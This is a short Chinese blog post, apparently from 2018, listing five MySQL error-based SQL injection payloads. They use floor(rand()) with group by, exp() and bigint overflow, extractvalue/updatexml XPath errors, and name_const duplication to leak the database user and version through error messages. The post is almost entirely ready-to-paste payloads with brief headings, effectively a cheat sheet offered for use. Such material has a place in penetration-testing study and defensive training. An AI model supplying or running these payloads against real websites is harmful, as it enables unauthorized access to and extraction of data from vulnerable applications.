SQL盲注之报错注入

1.报错注入

  payload: union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from   information_schema.columns group by a %23

2.利用double数值类型超出范围进行报错注入

  payload: union select (exp(~(select * from (select user())a))),2,3 %23

3.利用bigint 溢出进行报错注入

  payload:union select (!(select * from (select user())x) - ~0),2,3%23

4.利用xpath 函数报错注入

  payload: and extractvalue(1,concat(0x7e,(select @@version),0x7e))%23

  

  payload: and updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23

  

5.利用数据的重复性

  payload: union select 1,2,3 from (select name_const(version(),1), name_const(version(),1))x %23

  

 

posted @ 2018-04-17 10:36  G0mini  阅读(236)  评论(0编辑  收藏  举报